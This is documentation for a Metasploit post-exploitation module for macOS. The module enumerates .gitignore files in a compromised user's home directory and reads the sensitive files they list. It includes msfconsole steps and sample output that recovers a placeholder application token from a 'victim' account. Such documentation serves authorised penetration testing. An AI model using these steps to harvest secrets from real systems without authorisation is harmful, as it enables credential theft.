## Vulnerable Application

This module finds and retrieves gitignore files from the user's home directory,
as well as retrieves the contents of files found in the gitignore.

## Verification Steps

  1. Start msfconsole
  2. Get at least a user shell

  Locate gitignore files:
  3. Do: `use post/osx/gather/gitignore`
  4. Do: `set session #`
  5. Do: `set mode 1`
  5. Do: `run`
  6. You should see a list of all gitignore files with absolute path located recursively from the users'r home directory

  Retrieve gitignore files:
  7. Do: `set mode 2`
  8. Do: `set file /absolute/path/to/.gitignore`
  9. Do `run`
  10. You should see the contents of the gitignore file. If you see anything useful, you can also retrieve these artifacts.

  Retrieve sensitive or interesting artifacts:
  11. Do: `set file /absolute/path/to/sensitive_file`
  12. Do: `run`

## Options

  ### MODE
  Select between enumeration and retrieval mode.
  Mode 1 is enumeration of all gitignore files recursively in the user's home directory.
  Mode 2 is used for retrieving file contents should they be ASCII text.

  ### FILE
  This is the absolute file path to the .gitignore and/or sensitive file you would like to retrieve.

## Scenarios

Gitignore files commonly list items developers don't want leaked and generally contain sensitive information.

### Finding gitignore files

```
msf6 post(osx/gather/gitignore) > set mode 1
msf6 post(osx/gather/gitignore) > set session 1
msf6 post(osx/gather/gitignore) > run

[*] Fetching .gitignore files
[+] /Users/victim/Documents/project/.gitignore
[+] ...
[*] Post module execution completed
```

### Recovering contents of a specific gitignore

```
msf6 post(osx/gather/gitignore) > set file /Users/victim/project/.gitignore
msf6 post(osx/gather/gitignore) > set mode 2
msf6 post(osx/gather/gitignore) > run

[+] /Users/victim/project/.gitignore
[+] .sensitive_file
[*] Post module execution completed
```

### Recovering contents of a sentitive file

```
msf6 post(osx/gather/gitignore) > set file /Users/victim/project/.sensitive_file
msf6 post(osx/gather/gitignore) > run

[+] /Users/victim/project/.sensitive_file
[+] PWNED_APPLICATION_TOKEN=cHduZWQgdXIgZ2l0aHVi
[*] Post module execution completed
```

